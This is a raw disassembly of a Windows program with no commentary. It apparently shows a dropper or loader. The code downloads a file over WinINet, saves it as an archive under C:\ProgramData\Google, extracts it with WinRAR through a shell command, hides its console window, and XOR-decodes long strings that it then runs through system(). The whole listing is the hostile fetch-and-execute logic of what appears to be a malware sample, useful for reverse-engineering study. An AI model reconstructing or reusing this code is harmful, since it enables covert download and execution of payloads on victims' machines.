cmp ecx, 7
jbe 0x423ed4
mov edx, dword [ebp - 0x2050]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x423ec4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423271
push ecx
push edx
call fcn.0047d8e4
mov al, byte [ebp - 0x2511]
add esp, 8
test al, al
jne 0x423f40
push ecx
lea ecx, [ebp - 0x2190]
call fcn.0040dab0
sub esp, 8
lea eax, [ebp - 0x20b0]
lea ecx, [ebp - 0x2190]
push 0x20
push eax
call fcn.0040dce0
lea ecx, [ebp - 0x20e0]
mov byte [ebp - 4], 0x10
call fcn.004103b0
mov edx, eax
call fcn.004103c0
push 0
push edx
push eax
lea ecx, [ebp - 0x2190]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x2190]
call fcn.0040dcb0
lea ecx, [ebp - 0x2190]
mov byte [ebp - 4], 0xe
call fcn.0040d9f0
jmp 0x4245f0
push 0xb8
lea eax, [ebp - 0xd0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x209c], 0xf
lea eax, [ebp - 0x20b0]
lea ecx, [ebp - 0xd0]
cmova eax, dword [ebp - 0x20b0]
push eax
call fcn.00411ac0
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xd4], eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov word [ebp - 0x2020], 1
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov edx, dword [ebp - 0x2020]
mov edi, eax
test edi, edi
mov byte [ebp - 0x2027], 0
xorps xmm0, xmm0
mov dword [ebp - 0x2088], 0
sete al
mov dword [ebp - 0x2084], 0
mov byte [ebp - 0x2028], al
mov ecx, dword [ebp - 0x2028]
mov dword [ebp - 0x2028], ecx
mov dword [ebp - 0x203c], edx
movups xmmword [ebp - 0x2098], xmm0
test al, al
jne 0x424038
test edi, edi
je 0x424023
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x424023
mov byte [ebp - 0x2027], al
jmp 0x424025
xor edi, edi
mov edx, dword [ebp - 0x2020]
mov byte [ebp - 0x2028], 1
mov ecx, dword [ebp - 0x2028]
xor eax, eax
cmp byte [ebp - 0x2020], al
jne 0x42404f
mov byte [ebp - 0x203c], 1
mov edx, dword [ebp - 0x203c]
test edi, edi
jne 0x42410a
test eax, eax
je 0x424112
push ecx
push edx
push eax
push ecx
push edi
lea ecx, [ebp - 0x2098]
call fcn.00425550
lea ecx, [ebp - 0xd0]
call fcn.00408e60
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x20c8]
cmp dword [ebp - 0x20b4], 0xf
lea edx, [ebp - 0x2098]
mov edi, dword [ebp - 0x2088]
cmova ecx, dword [ebp - 0x20c8]
cmp dword [ebp - 0x2084], 0xf
cmova edx, dword [ebp - 0x2098]
cmp edi, dword [ebp - 0x20b8]
jne 0x42413c
sub edi, 4
jb 0x4240d1
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x4240d6
add edx, 4
add ecx, 4
sub edi, 4
jae 0x4240c0
cmp edi, 0xfffffffc
je 0x424132
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x424103
cmp edi, 0xfffffffd
je 0x424132
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x424103
cmp edi, 0xfffffffe
je 0x424132
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x424103
cmp edi, 0xffffffff
je 0x424132
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x424132
sbb eax, eax
or eax, 1
jmp 0x424134
test eax, eax
je 0x42405f
mov dword [ebp - 0x2088], 0
mov dword [ebp - 0x2084], 0xf
mov byte [ebp - 0x2098], 0
jmp 0x42406f
xor eax, eax
test eax, eax
je 0x4245e1
push str.C:ProgramDataGooglejavaconf_security_antiprotectCrypt.jar
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, str.____________________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.______________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492790
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492898
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492f38
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0
push 0
push 0
push str.My_Agent
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x2028], edi
test edi, edi
jne 0x424465
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a54
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 0x2084]
cmp ecx, 0xf
jbe 0x424303
mov edx, dword [ebp - 0x2098]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4242f9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423271
push ecx
push edx
call fcn.0047d8e4
add esp, 8
mov ecx, dword [ebp - 0x20cc]
mov dword [ebp - 0x2088], 0
mov dword [ebp - 0x2084], 0xf
mov byte [ebp - 0x2098], 0
cmp ecx, 0xf
jbe 0x424358
mov edx, dword [ebp - 0x20e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42434e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423271
push ecx
push edx
call fcn.0047d8e4
add esp, 8
mov ecx, dword [ebp - 0x209c]
mov dword [ebp - 0x20d0], 0
mov dword [ebp - 0x20cc], 0xf
mov byte [ebp - 0x20e0], 0
cmp ecx, 0xf
jbe 0x4243ad
mov edx, dword [ebp - 0x20b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4243a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423271
push ecx
push edx
call fcn.0047d8e4
add esp, 8
mov ecx, dword [ebp - 0x20b4]
mov dword [ebp - 0x20a0], 0
mov dword [ebp - 0x209c], 0xf
mov byte [ebp - 0x20b0], 0
cmp ecx, 0xf
jbe 0x424402
mov edx, dword [ebp - 0x20c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4243f8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423271
push ecx
push edx
call fcn.0047d8e4
add esp, 8
lea ecx, [ebp - 0x2510]
mov dword [ebp - 0x20b8], 0
mov dword [ebp - 0x20b4], 0xf
mov byte [ebp - 0x20c8], 0
call fcn.00408e60
lea ecx, [ebp - 0x2458]
call fcn.00408e60
jmp 0x4235c1
push ecx
push edx
call fcn.0047d8e4
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047d5a0
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
push 0x84000000
push 0
push 0
mov ecx, 0x49b0cc
call fcn.004103c0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x203c], eax
test eax, eax
jne 0x4244b4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492a6c
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
jmp 0x4244ba
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ecx
lea ecx, [ebp - 0xc8]
call fcn.0040dab0
sub esp, 8
lea ecx, [ebp - 0xc8]
push 0x20
push str.C:ProgramDataGooglelaunchCrypt.rar
call fcn.00411830
lea eax, [ebp - 0x2020]
mov byte [ebp - 4], 0x13
push eax
push 0x1000
lea eax, [ebp - 0x2018]
push eax
push dword [ebp - 0x203c]
call esi
test eax, eax
je 0x424544
mov edi, dword [ebp - 0x203c]
mov eax, dword [ebp - 0x2020]
test eax, eax
je 0x42453e
push 0
push eax
lea eax, [ebp - 0x2018]
push eax
lea ecx, [ebp - 0xc8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea eax, [ebp - 0x2020]
push eax
push 0x1000
lea eax, [ebp - 0x2018]
push eax
push edi
call esi
test eax, eax
jne 0x424504
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [ebp - 0xc8]
call fcn.0040dcb0
push dword [ebp - 0x203c]
call edi
push dword [ebp - 0x2028]
call edi
push str.c:_Program_Files_WinRARRar.exe__Y_x__C:ProgramDataGooglelaunchCrypt.rar___C:ProgramDataGooglejavaconf_security_antiprotect____NUL
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.C:ProgramDataGooglelaunchCrypt.rar
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
lea ecx, [ebp - 0x2190]
call fcn.0040dab0
sub esp, 8
lea eax, [ebp - 0x20b0]
lea ecx, [ebp - 0x2190]
push 0x20
push eax
call fcn.0040dce0
lea ecx, [ebp - 0x20e0]
mov byte [ebp - 4], 0x14
call fcn.004103b0
mov edx, eax
call fcn.004103c0
push 0
push edx
push eax
lea ecx, [ebp - 0x2190]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x2190]
call fcn.0040dcb0
lea ecx, [ebp - 0x2190]
call fcn.0040d9f0
lea ecx, [ebp - 0xc8]
call fcn.0040d9f0
lea ecx, [ebp - 0x2098]
mov byte [ebp - 4], 0xe
call fcn.00410530
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 0x4929ec
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
mov edx, str.____________________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.______________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492790
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.__________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x492898
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.________________________________________________________________________
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x2020], eax
lea eax, [ebp - 0x202c]
push eax
call fcn.00424bd0
mov edi, eax
cmp byte [edi + 6], 0
je 0x42476b
xor ecx, ecx
mov eax, 0xa0a0a0a1
lea esi, [ecx + edi]
mul ecx
shr edx, 5
movsx eax, dl
mov dl, cl
imul eax, eax, 0x33
inc ecx
sub dl, al
add dl, 0x39
xor byte [esi], dl
cmp ecx, 7
jl 0x424743
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x2020]
mov edx, edi
call fcn.00424ee0
mov edx, 0x49b268
mov ecx, eax
call fcn.00413f70
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x49082a
call fcn.00424ee0
push 0x425100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call esi
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x4929ec
call esi
add esp, 4
push 0x492f68
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea eax, [ebp - 0x253c]
push eax
call fcn.00424c00
mov edi, eax
mov dword [ebp - 0x2028], edi
cmp byte [edi + 0x27], 0
je 0x42498c
xor ecx, ecx
cmp dword [0x49ad8c], 2
mov dword [ebp - 0x2020], ecx
jl 0x424960
movaps xmm0, xmmword [0x493410]
mov eax, 4
movaps xmm4, xmmword [0x493260]
xor edx, edx
movaps xmm3, xmmword [0x493500]
sub eax, edi
movaps xmm5, xmmword [0x493280]
mov ecx, edi
movaps xmm6, xmmword [0x493320]
mov edi, eax
movaps xmmword [ebp - 0x2050], xmm0
mov esi, dword [ebp - 0x2050]
mov dword [ebp - 0x2020], eax
nop
movd xmm0, edx
lea eax, [ecx + edi]
pshufd xmm2, xmm0, 0
lea ecx, [ecx + 8]
paddd xmm2, xmm4
add edx, 8
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ecx - 8]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ecx - 8], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ecx - 4]
xorps xmm2, xmm0
movd dword [ecx - 4], xmm2
cmp edx, 0x28
jl 0x424870
mov edi, dword [ebp - 0x2028]
jmp 0x42498c
mov eax, 0xa0a0a0a1
lea esi, [edi + ecx]
mul ecx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x33
sub cl, al
add cl, 0x39
xor byte [esi], cl
mov ecx, dword [ebp - 0x2020]
inc ecx
mov dword [ebp - 0x2020], ecx
cmp ecx, 0x28
jl 0x424960
push edi
lea ecx, [ebp - 0x21c0]
call fcn.00410600
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 0x15
push eax
call fcn.00424c30
mov edi, eax
mov dword [ebp - 0x2028], edi
cmp byte [edi + 0x158], 0
je 0x424b48
xor ecx, ecx
cmp dword [0x49ad8c], 2
mov dword [ebp - 0x203c], ecx
jl 0x424b10
movaps xmm0, xmmword [0x493410]
mov eax, 4
movaps xmm4, xmmword [0x493260]
sub eax, edi
movaps xmm3, xmmword [0x493500]
mov edx, edi
movaps xmm5, xmmword [0x493280]
mov edi, eax
movaps xmm6, xmmword [0x493320]
movaps xmmword [ebp - 0x2050], xmm0
mov esi, dword [ebp - 0x2050]
mov dword [ebp - 0x2020], eax
movd xmm0, ecx
lea eax, [edi + edx]
pshufd xmm2, xmm0, 0
lea edx, [edx + 8]
paddd xmm2, xmm4
add ecx, 8
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [edx - 8]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [edx - 8], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, esi
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [edx - 4]
xorps xmm2, xmm0
movd dword [edx - 4], xmm2
cmp ecx, 0x158
jl 0x424a13
mov edi, dword [ebp - 0x2028]
mov dword [ebp - 0x203c], ecx
cmp ecx, 0x159
jge 0x424b48
nop word [eax + eax]
mov eax, 0xa0a0a0a1
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x33
sub cl, al
add cl, 0x39
xor byte [esi], cl
mov ecx, dword [ebp - 0x203c]
inc ecx
mov dword [ebp - 0x203c], ecx
cmp ecx, 0x159
jl 0x424b10
push edi
lea ecx, [ebp - 0x2050]
call fcn.00410600
push 0x490b68
lea edx, [ebp - 0x21c0]
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x252c]
call fcn.00413250
lea ecx, [ebp - 0x2050]
mov byte [ebp - 4], 0x17
push ecx
mov edx, eax
lea ecx, [ebp - 0x21d8]
call fcn.00413360
add esp, 8
lea ecx, [ebp - 0x252c]
call fcn.00410530
lea ecx, [ebp - 0x21d8]
call fcn.004103c0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0x4929ec
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
call fcn.00422670
call fcn.00412fd0
int3